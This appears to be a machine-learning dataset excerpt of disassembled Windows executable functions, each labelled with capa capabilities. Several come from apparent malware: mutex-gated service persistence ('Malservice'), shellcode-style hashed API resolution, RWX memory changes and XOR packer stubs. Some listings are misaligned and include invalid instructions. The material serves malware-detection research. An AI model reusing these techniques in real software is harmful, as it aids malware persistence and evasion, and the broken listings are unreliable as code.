joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406778
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40679c
xor eax, eax
test eax, eax
je 0x4067ae
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4067ae
xor ecx, ecx
jmp 0x4067b1
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x404260
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test ecx, ecx
je 0x40429e
dec ecx
xor edi, edi
mov esi, dword [ebx + ecx*4]
add esi, edx
xor eax, eax
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
jne 0x40426a
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x40425e
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
Function at 0x401090
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], str.VirtualProtect
push 0x6d
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [ebp - 0x10], str.kernel32.dll
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x7665c0], eax
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x7665c0]
xor eax, eax
xor edx, edx
mov esp, ebp
pop ebp
ret
Function at 0x407564
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x765f20]
jne 0x40756e
repz ret
jmp fcn.0040b46c

Function at 0x407dec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405438
and dword [ebp - 4], 0
cmp dword [0x766c58], 0
mov ebx, eax
jne 0x407e9d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407f4e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407f4e
push eax
call fcn.004053c6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x766c58], eax
call esi
push eax
call fcn.004053c6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x766c5c], eax
call esi
push eax
call fcn.004053c6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x766c60], eax
call esi
push eax
call fcn.004053c6
pop ecx
mov dword [0x766c68], eax
test eax, eax
je 0x407e9d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004053c6
pop ecx
mov dword [0x766c64], eax
mov eax, dword [0x766c64]
cmp eax, ebx
je 0x407ef5
cmp dword [0x766c68], ebx
je 0x407ef5
push eax
call fcn.00405441
push dword [0x766c68]
mov esi, eax
call fcn.00405441
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407ef5
test edi, edi
je 0x407ef5
call esi
test eax, eax
je 0x407eec
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407eec
test byte [ebp - 0xc], 1
jne 0x407ef5
or dword [ebp + 0x10], 0x200000
jmp 0x407f2e
mov eax, dword [0x766c5c]
cmp eax, ebx
je 0x407f2e
push eax
call fcn.00405441
pop ecx
test eax, eax
je 0x407f2e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407f2e
mov eax, dword [0x766c60]
cmp eax, ebx
je 0x407f2e
push eax
call fcn.00405441
pop ecx
test eax, eax
je 0x407f2e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x766c58]
call fcn.00405441
pop ecx
test eax, eax
je 0x407f4e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407f50
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4042c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410264]
jne 0x4042d0
repz ret
jmp fcn.0040470b

Function at 0x404e90
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x10
lea eax, [esp + 4]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.QtCore4.dll_public:_static_class_QString___cdecl_QString::fromWCharArray_unsigned_short_int_const___int_]
add esp, 0xc
mov ecx, eax
call dword [sym.imp.QtCore4.dll_public:_class_QByteArray___thiscall_QString::toLocal8Bit_void_]
mov edx, dword [esp + 8]
or eax, 0xffffffff
lock xadd dword [edx], eax
jne 0x404ed2
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.QtCore4.dll_private:_static_void___cdecl_QString::free_struct_QString::Data__]
add esp, 4
push 8
lea ecx, [esp + 4]
mov dword [esp + 0x10], 0
call fcn.00404e10
lea ecx, [esp + 4]
call dword [sym.imp.QtCore4.dll_public:_void___thiscall_QByteArray::detach_void_]
mov ecx, dword [esp + 0x20]
lea edx, [esp]
push edx
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push eax
mov eax, dword [edx + 0xc]
mov edx, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x24]
push eax
push ecx
push edx
call sub.QtCore4.dll_void___cdecl_qWinMain_struct_HINSTANCE_____struct_HINSTANCE_____char___int__int___class_QVector_char____
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
add esp, 0x18
cmp ecx, 1
je 0x404f36
mov eax, dword [esp]
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
push edx
push eax
lea ecx, [esp + 8]
call fcn.00404c60
mov eax, dword [esp]
mov ecx, dword [esp + 0xc]
push esi
add eax, 0x10
push eax
push ecx
call fcn.004014d0
mov esi, eax
mov eax, dword [esp + 0xc]
add esp, 8
test eax, eax
je 0x404f6e
or edx, 0xffffffff
lock xadd dword [eax], edx
jne 0x404f6e
mov eax, dword [esp + 4]
push 4
push eax
call dword [sym.imp.QtCore4.dll_public:_static_void___cdecl_QVectorData::free_struct_QVectorData___int_]
add esp, 8
mov ecx, dword [esp + 8]
or edx, 0xffffffff
lock xadd dword [ecx], edx
jne 0x404f89
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.QtCore4.dll_void___cdecl_qFree_void__]
add esp, 4
mov eax, esi
pop esi
add esp, 0x10
ret 0x10
Function at 0x4034ec
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x403527
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40350e
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x40351f
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x403529
inc edi
add eax, 0x28
cmp edi, esi
jb 0x403504
invalid
xor eax, eax
pop edi
pop esi
ret

Function at 0x405695
Capabilities:
Get common file path

Disassembly:
and dword [edx + 0x25], 0x348b49db
mov eax, dword [ebx]
idiv dword [eax + 0x50746547]
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x405699
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x405699
invalid
cmc

Function at 0x4056e3
Capabilities:
Get common file path

Disassembly:
in eax, 0xff
call dword [esi - 0x75]
jne 0x4056f2
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
outsb dx, byte [esi]
jae 0x405756
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetTickCount
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405727
test edi, edi
jne 0x4056ee
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405721
add eax, 0x422608
dec esi
push ebp
dec esp
add byte [ebp + 0x400bff6], al
add byte [eax], al
Function at 0x40572b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405cff
test eax, eax
mov esi, dword [esp + 0x18]
je 0x40574f
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405888
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x422608], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x422608
je 0x405793
push 1
push 0
push esi
call fcn.004056b4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x40588e
cmp eax, edi
jg 0x40588e
mov esi, 0x422080
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x40588e
cmp eax, edi
jg 0x40588e
push esi
push ebp
push str._s_s_r_n
push 0x421c80
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x423e90]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.004059ff
push 4
push 0xc0000000
push esi
call fcn.004056b4
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x405888
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405881
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405881
cmp edi, dword [esp + 0x18]
jne 0x405881
push str._Rename__r_n
push esi
call fcn.00405629
test eax, eax
jne 0x405895
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.004059dd
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x421c80
push eax
call fcn.00405675
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x423f10]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409330
push eax
call fcn.00405629
test eax, eax
je 0x40584c
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x4058bc
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x4058b1
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x40584e
Function at 0x401040
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create service
Create thread
Persist via windows service
Terminate process

Disassembly:
sub esp, 0x400
push str.HGL345
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x401064
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push str.HGL345
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [esp + 0x1c]
push 0x3e8
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2c]
push 0
push ecx
push 0
push 2
push 0x10
push 2
push str.Malservice
push str.Malservice
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
xor edx, edx
lea eax, [esp + 0x14]
mov dword [esp + 4], edx
lea ecx, [esp + 4]
mov dword [esp + 8], edx
push eax
mov dword [esp + 0x10], edx
push ecx
mov dword [esp + 0x18], edx
mov word [esp + 0xc], 0x834
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push 0
push 0
push 0
lea edx, [esp + 0x20]
mov esi, eax
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x40113b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, 0x14
push 0
push 0
push 0
push 0x401150
push 0
push 0
call edi
dec esi
jne 0x401126
pop edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop esi
add esp, 0x400
ret
Function at 0x401d69
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x405140
cmp edx, dword [eax]
je 0x401d8b
add eax, 8
inc ecx
cmp eax, 0x4051d0
jl 0x401d7c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x405140]
jne 0x401eb9
mov eax, dword [0x4052e8]
cmp eax, 1
je 0x401e93
test eax, eax
jne 0x401dbc
cmp dword [0x405090], 1
je 0x401e93
cmp edx, 0xfc
je 0x401eb9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401df3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00401ef0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402060
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x401e36
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402060
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4043b0
push edi
call fcn.004030d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00401ef0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00401f00
lea eax, [ebp - 0xa0]
push 0x404390
push eax
call fcn.00401f00
push dword [esi + 0x405144]
lea eax, [ebp - 0xa0]
push eax
call fcn.00401f00
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040303e
add esp, 0x2c
pop edi
jmp 0x401eb9
lea eax, [ebp + 8]
lea esi, [esi + 0x405144]
push 0
push eax
push dword [esi]
call fcn.00402060
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x405610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jbe 0x40563d
test cl, 7
je 0x40563d
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4315a0]
dec esi
inc ecx
jmp 0x40561e
cmp esi, 8
jb 0x4056e0
mov edx, esi
shr edx, 3
mov dword [ebp + 8], edx
push ebx
mov edx, dword [ecx + 4]
xor eax, dword [ecx]
mov ebx, edx
shr ebx, 0x10
movzx edi, bl
mov edi, dword [edi*4 + 0x4319a0]
mov ebx, edx
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4315a0]
mov ebx, edx
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x431da0]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4325a0]
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
xor edi, dword [ebx*4 + 0x4329a0]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x432da0]
movzx edx, dl
xor edi, dword [edx*4 + 0x4321a0]
movzx eax, al
xor edi, dword [eax*4 + 0x4331a0]
sub esi, 8
add ecx, 8
dec dword [ebp + 8]
mov eax, edi
jne 0x40564f
pop ebx
jmp 0x4056e0
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4315a0]
dec esi
inc ecx
test esi, esi
ja 0x4056cc
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4059a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push 0x40
pop ebx
cmp esi, ebx
jbe 0x4059eb
lea eax, [ebp - 0x1d0]
push eax
call 0x4106ae
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1d0]
push eax
call 0x4109b0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x1d0]
push eax
call 0x410a29
lea eax, [ebp - 0x80]
push 0x20
mov dword [ebp + 8], eax
pop esi
xor ecx, ecx
push edi
test esi, esi
jbe 0x405a0b
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x36
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x4059fa
cmp esi, ebx
jae 0x405a23
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x36
push eax
call fcn.0041a820
add esp, 0xc
lea eax, [ebp - 0xf0]
push eax
call 0x4106ae
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xf0]
push eax
call 0x4109b0
push dword [ebp + 0x14]
lea eax, [ebp - 0xf0]
push dword [ebp + 0x10]
push eax
call 0x4109b0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xf0]
push eax
call 0x410a29
lea eax, [ebp - 0x160]
push eax
call 0x4106ae
xor ecx, ecx
test esi, esi
jbe 0x405a8d
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x5c
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405a7c
pop edi
cmp esi, ebx
jae 0x405aa6
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x5c
push eax
call fcn.0041a820
add esp, 0xc
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x160]
push eax
call 0x4109b0
push 0x20
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x160]
push eax
call 0x4109b0
push dword [ebp + 0x18]
lea eax, [ebp - 0x160]
push eax
call 0x410a29
pop esi
pop ebx
leave
ret 0x14
Function at 0x407281
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461124], 0
jne 0x4072bf
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407295
mov dword [ecx*4 + 0x461120], eax
inc ecx
cmp ecx, 0x100
jl 0x407290
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4072ec
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461120]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072cd
not eax
pop ebp
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5b11c31
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7f883b1c
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x3be5216b
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x4a7a3242
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x407020
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x130]
call sub.msvcrt.dll__errno
mov dword [eax], 0
test ebx, ebx
je 0x407227
cmp byte [ebx], 0
je 0x4071f3
mov dword [esp], ebx
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0xffffffff
je 0x407218
test al, 0x10
je 0x4071f3
mov dword [esp + 4], ebx
mov eax, 0x104
lea esi, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll__fullpath
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x407090
and edx, 0x8080
jne 0x4070b6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
lea edx, [ecx + 0x233]
mov dword [esp], edx
call sub.msvcrt.dll_malloc
test eax, eax
mov ebx, eax
je 0x407209
mov dword [esp + 4], esi
lea esi, [eax + 0x22c]
mov dword [esp], esi
call sub.ntdll.dll_strcpy
cmp byte [ebx + 0x22c], 0
je 0x407190
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407100
and edx, 0x8080
jne 0x407126
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp byte [ebx + ecx + 0x22b], 0x2f
je 0x407190
mov ecx, esi
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407140
and edx, 0x8080
jne 0x407166
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp byte [ebx + ecx + 0x22b], 0x5c
je 0x407190
mov dword [esp], esi
call sub.ntdll.dll_strlen
mov word [eax + esi], 0x5c
lea esi, [esi]
lea edi, [edi]
mov dword [esp], esi
call sub.ntdll.dll_strlen
mov word [eax + esi], 0x2a
mov eax, 0xffffffff
xor edx, edx
mov dword [ebx + 0x224], eax
xor ecx, ecx
xor esi, esi
mov dword [ebx + 0x228], edx
xor eax, eax
mov edx, 0x104
mov dword [ebx + 0x118], ecx
xor ecx, ecx
mov word [ebx + 0x11c], si
lea esi, [ebx + 0x120]
mov word [ebx + 0x11e], ax
mov dword [esp], esi
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.ntdll.dll_memset
add esp, 0x124
mov eax, ebx
pop ebx
pop esi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x14
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0xc
xor eax, eax
jmp 0x407200
call sub.msvcrt.dll__errno
mov dword [eax], 2
xor eax, eax
jmp 0x407200
call sub.msvcrt.dll__errno
mov dword [eax], 0xe
xor eax, eax
jmp 0x407200

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x40a95b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41db90]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405b86
and dword [ebp - 0x14], 0
cmp dword [0x44c000], 0
mov dword [ebp - 0x18], eax
jne 0x40aa0e
push 0x40247c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40aab6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402470
push ebx
call edi
test eax, eax
je 0x40aab6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402460
push ebx
mov dword [0x44c000], eax
call edi
push eax
call esi
push 0x40244c
push ebx
mov dword [0x44c004], eax
call edi
push eax
call esi
push 0x402430
push ebx
mov dword [0x44c008], eax
call edi
push eax
call esi
mov dword [0x44c010], eax
test eax, eax
je 0x40aa0e
push 0x402418
push ebx
call edi
push eax
call esi
mov dword [0x44c00c], eax
mov eax, dword [0x44c00c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40aa67
cmp dword [0x44c010], ecx
je 0x40aa67
push eax
call esi
push dword [0x44c010]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40aa67
test ebx, ebx
je 0x40aa67
call edi
test eax, eax
je 0x40aa5e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aa5e
test byte [ebp - 8], 1
jne 0x40aa67
or dword [ebp + 0x10], 0x200000
jmp 0x40aa9a
mov eax, dword [0x44c004]
cmp eax, dword [ebp - 0x18]
je 0x40aa9a
push eax
call esi
test eax, eax
je 0x40aa9a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40aa9a
mov eax, dword [0x44c008]
cmp eax, dword [ebp - 0x18]
je 0x40aa9a
push eax
call esi
test eax, eax
je 0x40aa9a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44c000]
call esi
test eax, eax
je 0x40aab6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40aab8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040acd5
leave
ret

Function at 0x40acd5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41db90]
jne 0x40acdf
repz ret
jmp fcn.00413cf4